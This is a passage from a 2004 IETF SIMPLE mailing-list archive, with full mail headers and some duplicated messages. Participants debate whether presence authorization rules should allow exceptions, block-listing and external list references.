In a much more abstract system describing my characteristics,
I could see a different view.  For a "favorite record"
entry, for example, I could see saying "Stunt" to one set of people,
"Rhythm of the Saints" to another, and "Carcassonne" to a third; these
might reflect the kind of music I'd like to listen to with those people.  But
these are relatively long lived entries, and unlikely to need updating
on a many-times-a-day basis.  For entries which do,  updating
each entry for each group each time would be painful.  The
practical result of that is that you would have to define relationships
among the groups' data sets, so that an update to an entry is
reflected correctly in the others without having to define what
the new value is in each set.  Doing that from a "base" set (a.k.a.
the real data) seems like a useful model, since the application
of the rules is cleaner than having set 5 depend on set 3 which
depends on set 1 (which in the worst case depends on set 5 and
runs you into real trouble).

The exception processing issue is trickier, because I believe that there
was common agreement that exceptions would be a very powerful
tool, but that they were a fair number of cases where they were difficult
to get right without ordering.  In the case where one rule might grant
access to a piece of information and another forbid access to that
piece of information, you have to have a precedence mechanism
that says which one is implemented; that looks easy to get right,
but in complex rule sets it can get very hairy very quickly.  I
was originally against even the domain-based exceptions, but the
careful crafting of a rule that avoids the precedence processing
has convinced me that that exception can be implemented without
too much risk of silly states.  But a general "let's allow exceptions
again" raises all those issues again, without answering them; a
concrete proposal for how to get them right would be much
more valuable.


>* External lists:
>Again, external list references were dropped due to GEOPRIV 
>harmonization. I don't understand why they need to be disallowed in 
>all environments. If the service provider has a centralized XCAP 
>server for resource lists, those should be usable by reference in 
>presence auth. rules. (FYI, OMA is working on common "group 
>management" for different applications, and for this external 
>references are also clearly needed.)
>-> Proposal: Add external lists, include considerations on where 
>they are usable.

I'm not clear on which external lists you mean; external lists making up group
membership or external lists describing rules.  If the latter, I think you may
be arguing at cross purposes to your desire to move away from additive
rules.  With additive rules, the failure to resolve an external list containing
rules implies that the group to whom the list is applied will get *less* than
they might (which is unfortunate, but not a privacy problem).  With the
model you proposed above, the list might contain exceptions and the failure
to resolve it may mean individuals who ought not get data do.  That's
a real issue.  A concrete proposal on how to allow them and where would
again be more useful than a general proposal, at least in my opinion.


>I believe these two modifications would make SIMPLE presence rules 
>much better deployable in practice, and more easily endorsed 
>directly by e.g. 3GPP and OMA.

These groups have been in the minds of folks preparing the docs all along, so
more concrete references to the issues would be helpful; if you believe
that there are requirements these groups have for this work that are not
being addressed, a liaison statement containing that requirement is always
useful.  The IETF reserves, of course, the right to decide that a requirement
cannot be met within the bounds of an appropriately designed system, but
it does appreciate understanding more fully the needs of specific
deployments.

Speaking for myself,
			regards,
				Ted Hardie

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 14:52:02 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21395
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 14:52:02 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5rvy-0004Av-ON
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 14:51:35 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NJpYJg016043
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 14:51:34 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5rvy-0004Af-I0
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 14:51:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21361
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 14:51:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rvv-0006Wa-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 14:51:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5rtt-0006H2-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 14:49:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rsa-00064P-00; Tue, 23 Mar 2004 14:48:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5rsX-0003pv-Aq; Tue, 23 Mar 2004 14:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5rsS-0003pV-4x
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 14:47:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21015
	for <simple@ietf.org>; Tue, 23 Mar 2004 14:47:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rsP-000631-00
	for simple@ietf.org; Tue, 23 Mar 2004 14:47:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5rr9-0005qd-00
	for simple@ietf.org; Tue, 23 Mar 2004 14:46:36 -0500
Received: from numenor.qualcomm.com ([129.46.51.58])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5rqG-0005fq-00
	for simple@ietf.org; Tue, 23 Mar 2004 14:45:40 -0500
Received: from magus.qualcomm.com (magus.qualcomm.com [129.46.61.148])
	by numenor.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2NJj05P009915
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 23 Mar 2004 11:45:01 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by magus.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2NJiwVK026533;
	Tue, 23 Mar 2004 11:44:59 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020405bc863897d740@[129.46.227.161]>
In-Reply-To: 
 <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
References: 
 <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
To: Markus.Isomaki@nokia.com, <jdrosen@dynamicsoft.com>, <simple@ietf.org>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: [Simple] Comments on: First draft of text on semantic-based
 authorization policies
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 11:44:57 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 1:04 AM +0200 03/23/2004, Markus.Isomaki@nokia.com wrote:
>* Exceptions:
>Currently they are allowed only within domains. This was done on 
>purpose for reasons that I don't really believe in. The end result 
>is that it is impossible to do proper block-listing. It was claimed 
>that block-listing is a bad concept anyway, as identities can be 
>created easily to by-pass such lists. While in general this is the 
>case, I don't think it should limit _all_ systems, some of which can 
>deal with identities better than the Internet at large. Below is an 
>example, beyond block-listing, how leaving out exceptions makes 
>things difficult
>	[Presentity wants to give group "friends" a privileged access 
>to his presence information. By default he gives out some 
>information, but "friends" should receive a different view of the 
>_same_ information. (Note that this is not additive, but we talk 
>about different views, for instance showing a _different_ "note".) 
>If exceptions are not allowed, "friends" will get the common 
>information in addition to what should be given to them, making 
>things confusing at the watcher side. (For instance a watcher get 2 
>tuples with the same Contact, having different notes.)]
>So I believe the main problem is that presence information is not 
>always additive, but it can also be contradictive! Another huge 
>problem is that there already exists many presence systems which 
>have block-lists, and in some cases we would like to preserve the UI 
>semantics even when the protocol stack is changed to SIP. Now it 
>seems impossible.
>-> Proposal: Allow exceptions in SIMPLE, even though they are not 
>there in the common policies.

I think you are, in fact, asking for two things here:  a different 
view of how information
flow works and a change in permission processing.

I think the mental model of information flow is "there is data about 
reality, which
is revealed at different levels of accuracy based on permission"; 
with polite lying,
some of those "levels of accuracy" are lies.  You seem to be proposing that
there are different data sets associated with groups; these aren't 
due to permissions
that state how close to the full set of "real data" this data is , 
but that these are
sets that are independent of each other, and seem to me to imply that
their relationship to the "real data" isn't as important as their relationship
to the group to whom the data will be given.  The permission processing
isn't really "here is the level of accuracy for this group" but "here is
the data set for this group".

My take on this may be colored a bit by GeoPriv, but I don't think
this is a very useful change.  For a system that is fundamentally
about presence, a view that there is a set of real presence data
("currently typing up a message to simple") that may be reflected
in various ways ("busy" to a general watcher, "in my office" to my
colleagues, "interrupt okay" to my boss) seems to me pretty useful.
When I leave for lunch, all can be appropriately updated with
relation to the real data ("away" to a general watcher, "temporarily
out of office" to my colleagues, "available by cell" to my boss).

In a much more abstract system describing my characteristics,
I could see a different view.  For a "favorite record"
entry, for example, I could see saying "Stunt" to one set of people,
"Rhythm of the Saints" to another, and "Carcassonne" to a third; these
might reflect the kind of music I'd like to listen to with those people.  But
these are relatively long lived entries, and unlikely to need updating
on a many-times-a-day basis.  For entries which do,  updating
each entry for each group each time would be painful.  The
practical result of that is that you would have to define relationships
among the groups' data sets, so that an update to an entry is
reflected correctly in the others without having to define what
the new value is in each set.  Doing that from a "base" set (a.k.a.
the real data) seems like a useful model, since the application
of the rules is cleaner than having set 5 depend on set 3 which
depends on set 1 (which in the worst case depends on set 5 and
runs you into real trouble).

The exception processing issue is trickier, because I believe that there
was common agreement that exceptions would be a very powerful
tool, but that they were a fair number of cases where they were difficult
to get right without ordering.  In the case where one rule might grant
access to a piece of information and another forbid access to that
piece of information, you have to have a precedence mechanism
that says which one is implemented; that looks easy to get right,
but in complex rule sets it can get very hairy very quickly.  I
was originally against even the domain-based exceptions, but the
careful crafting of a rule that avoids the precedence processing
has convinced me that that exception can be implemented without
too much risk of silly states.  But a general "let's allow exceptions
again" raises all those issues again, without answering them; a
concrete proposal for how to get them right would be much
more valuable.


>* External lists:
>Again, external list references were dropped due to GEOPRIV 
>harmonization. I don't understand why they need to be disallowed in 
>all environments. If the service provider has a centralized XCAP 
>server for resource lists, those should be usable by reference in 
>presence auth. rules. (FYI, OMA is working on common "group 
>management" for different applications, and for this external 
>references are also clearly needed.)
>-> Proposal: Add external lists, include considerations on where 
>they are usable.

I'm not clear on which external lists you mean; external lists making up group
membership or external lists describing rules.  If the latter, I think you may
be arguing at cross purposes to your desire to move away from additive
rules.  With additive rules, the failure to resolve an external list containing
rules implies that the group to whom the list is applied will get *less* than
they might (which is unfortunate, but not a privacy problem).  With the
model you proposed above, the list might contain exceptions and the failure
to resolve it may mean individuals who ought not get data do.  That's
a real issue.  A concrete proposal on how to allow them and where would
again be more useful than a general proposal, at least in my opinion.


>I believe these two modifications would make SIMPLE presence rules 
>much better deployable in practice, and more easily endorsed 
>directly by e.g. 3GPP and OMA.

These groups have been in the minds of folks preparing the docs all along, so
more concrete references to the issues would be helpful; if you believe
that there are requirements these groups have for this work that are not
being addressed, a liaison statement containing that requirement is always
useful.  The IETF reserves, of course, the right to decide that a requirement
cannot be met within the bounds of an appropriately designed system, but
it does appreciate understanding more fully the needs of specific
deployments.

Speaking for myself,
			regards,
				Ted Hardie

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 16:57:15 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05215
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 16:57:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5ttc-0000Iy-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 16:57:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5tsf-000091-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 16:56:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5trf-0007kh-00; Tue, 23 Mar 2004 16:55:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5trR-0002x0-W5; Tue, 23 Mar 2004 16:55:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5tqo-0002sk-0E
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 16:54:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04890
	for <simple@ietf.org>; Tue, 23 Mar 2004 16:54:18 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5tqm-0007bV-00
	for simple@ietf.org; Tue, 23 Mar 2004 16:54:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5tpk-0007QY-00
	for simple@ietf.org; Tue, 23 Mar 2004 16:53:17 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5tol-0007HK-01
	for simple@ietf.org; Tue, 23 Mar 2004 16:52:15 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B5tgz-0003KI-Vu
	for simple@ietf.org; Tue, 23 Mar 2004 16:44:14 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2NLhhA29551;
	Tue, 23 Mar 2004 23:43:43 +0200 (EET)
X-Scanned: Tue, 23 Mar 2004 23:43:34 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2NLhY1N015667;
	Tue, 23 Mar 2004 23:43:34 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00rbrgcK; Tue, 23 Mar 2004 23:03:18 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2NL3Gs29485;
	Tue, 23 Mar 2004 23:03:16 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 23 Mar 2004 23:02:47 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQQ5t4OIqUIYO2GSjOdCBVSupStqwABSOsA
To: <hgs@cs.columbia.edu>
Cc: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 23 Mar 2004 21:02:47.0477 (UTC) FILETIME=[31C0FE50:01C4111A]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 23:02:46 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Henning,

I mean exceptions in the scope of whom a rule should apply to. Comments =
inline:

Henning Schulzrinne wrote:
>=20
> I don't understand this comment. Black lists can easily be=20
> implemented=20
> by splitting them across domains. This is just a syntactic=20
> transformation.
>=20

As I understand it there is more to it. This is from the latest geopriv =
common policy draft:

---
   No all-except conditions: It is not possible to express exclusion
      conditions based on identities such as "everybody except Alice".
      However, this restriction does not prevent all forms of
      blacklisting. It is still possible to express an authorization
      rule like 'I allow access to my location information for everyone
      of domain example.com except for John'. See the example in section
      Section 7.1 describing how exceptions can be made work.
---

So it is to my understanding impossible for instance to provide presence =
to everyone except an enumerated list of identities. This is usually =
what black-listing means.

> The note issue ('different information') is a more=20
> interesting one. We=20
> had earlier decided not to support lying, so this seems to=20
> refer only to=20
> free-form fields like 'note'.=20

Well, lying can be done simply by publishing false information. I guess =
you mean that it wouldn't be allowed to provide user X with =
contradicting information compared to user Y (more accuracy seems to be =
fine). I think this is a feature that has some usefulness beyond just =
note.

> The problem you note can be=20
> solved within=20
> the framework by an ordering mechanism that associates a value with a=20
> parameter. That way, the highest ("best") value would be picked, but=20
> only one, instead of all. I think the easiest would be to=20
> associate an=20
> ordering with 'class' and just have the publisher upload different=20
> tuples. I don't think it makes sense to use the policies to=20
> set actual=20
> presence values.
>=20

I think this is a very good idea, and would solve this particular =
problem. There would just need to be a mechanism how to express the =
ordering within "class". "class" itself is going to need more =
specifying, since currently it is hard to use it among multiple PUAs.

> Exceptions greatly complicate the processing and, in conjunction with=20
> external lists, are privacy-unsafe. Thus, I'm opposed to=20
> including such=20
> mechanisms.=20

I suppose you mean now exceptions only, not the "class" ordering you =
just proposed yourself?

> Since people mean many different things when they=20
> talk about=20
> exceptions, it would be helpful if you could actually state=20
> an exception=20
> rule that you envision.
>=20

Presentity has presence tuples A, B, C. (let's say B and C are otherwise =
the same, but have a different "note")=20
He wants to enforce the following policy:
- Provide tuples A and B to everyone except Joe and Frank
- Provide tuples A and C to Frank (note, not B)
(Joe gets nothing)

Very simple, practical, and realistic - yet undoable with the current =
drafts.

> Henning
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 16:57:49 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05270
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 16:57:49 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5tth-0003Je-C2
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 16:57:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NLvLRe012746
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 16:57:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5tth-0003JV-7S
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 16:57:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05235
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 16:57:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5tte-0000JR-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 16:57:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5tsg-000099-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 16:56:19 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5trf-0007kh-00; Tue, 23 Mar 2004 16:55:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5trR-0002x0-W5; Tue, 23 Mar 2004 16:55:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5tqo-0002sk-0E
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 16:54:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04890
	for <simple@ietf.org>; Tue, 23 Mar 2004 16:54:18 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5tqm-0007bV-00
	for simple@ietf.org; Tue, 23 Mar 2004 16:54:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5tpk-0007QY-00
	for simple@ietf.org; Tue, 23 Mar 2004 16:53:17 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5tol-0007HK-01
	for simple@ietf.org; Tue, 23 Mar 2004 16:52:15 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B5tgz-0003KI-Vu
	for simple@ietf.org; Tue, 23 Mar 2004 16:44:14 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2NLhhA29551;
	Tue, 23 Mar 2004 23:43:43 +0200 (EET)
X-Scanned: Tue, 23 Mar 2004 23:43:34 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2NLhY1N015667;
	Tue, 23 Mar 2004 23:43:34 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00rbrgcK; Tue, 23 Mar 2004 23:03:18 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2NL3Gs29485;
	Tue, 23 Mar 2004 23:03:16 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 23 Mar 2004 23:02:47 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQQ5t4OIqUIYO2GSjOdCBVSupStqwABSOsA
To: <hgs@cs.columbia.edu>
Cc: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 23 Mar 2004 21:02:47.0477 (UTC) FILETIME=[31C0FE50:01C4111A]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 23:02:46 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Henning,

I mean exceptions in the scope of whom a rule should apply to. Comments =
inline:

Henning Schulzrinne wrote:
>=20
> I don't understand this comment. Black lists can easily be=20
> implemented=20
> by splitting them across domains. This is just a syntactic=20
> transformation.
>=20

As I understand it there is more to it. This is from the latest geopriv =
common policy draft:

---
   No all-except conditions: It is not possible to express exclusion
      conditions based on identities such as "everybody except Alice".
      However, this restriction does not prevent all forms of
      blacklisting. It is still possible to express an authorization
      rule like 'I allow access to my location information for everyone
      of domain example.com except for John'. See the example in section
      Section 7.1 describing how exceptions can be made work.
---

So it is to my understanding impossible for instance to provide presence =
to everyone except an enumerated list of identities. This is usually =
what black-listing means.

> The note issue ('different information') is a more=20
> interesting one. We=20
> had earlier decided not to support lying, so this seems to=20
> refer only to=20
> free-form fields like 'note'.=20

Well, lying can be done simply by publishing false information. I guess =
you mean that it wouldn't be allowed to provide user X with =
contradicting information compared to user Y (more accuracy seems to be =
fine). I think this is a feature that has some usefulness beyond just =
note.

> The problem you note can be=20
> solved within=20
> the framework by an ordering mechanism that associates a value with a=20
> parameter. That way, the highest ("best") value would be picked, but=20
> only one, instead of all. I think the easiest would be to=20
> associate an=20
> ordering with 'class' and just have the publisher upload different=20
> tuples. I don't think it makes sense to use the policies to=20
> set actual=20
> presence values.
>=20

I think this is a very good idea, and would solve this particular =
problem. There would just need to be a mechanism how to express the =
ordering within "class". "class" itself is going to need more =
specifying, since currently it is hard to use it among multiple PUAs.

> Exceptions greatly complicate the processing and, in conjunction with=20
> external lists, are privacy-unsafe. Thus, I'm opposed to=20
> including such=20
> mechanisms.=20

I suppose you mean now exceptions only, not the "class" ordering you =
just proposed yourself?

> Since people mean many different things when they=20
> talk about=20
> exceptions, it would be helpful if you could actually state=20
> an exception=20
> rule that you envision.
>=20

Presentity has presence tuples A, B, C. (let's say B and C are otherwise =
the same, but have a different "note")=20
He wants to enforce the following policy:
- Provide tuples A and B to everyone except Joe and Frank
- Provide tuples A and C to Frank (note, not B)
(Joe gets nothing)

Very simple, practical, and realistic - yet undoable with the current =
drafts.

> Henning
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 18:26:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11500
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 18:26:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vI6-0000d5-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 18:26:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5vHC-0000Xh-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 18:25:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vGY-0000TM-00; Tue, 23 Mar 2004 18:25:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5vGY-0001yu-OS; Tue, 23 Mar 2004 18:25:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5vGC-0001xc-UZ
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 18:24:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11404
	for <simple@ietf.org>; Tue, 23 Mar 2004 18:24:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vG9-0000Rv-00
	for simple@ietf.org; Tue, 23 Mar 2004 18:24:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5vFO-0000Md-00
	for simple@ietf.org; Tue, 23 Mar 2004 18:23:51 -0500
Received: from mail3.pi.se ([195.7.64.137] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vES-0000Di-00; Tue, 23 Mar 2004 18:22:53 -0500
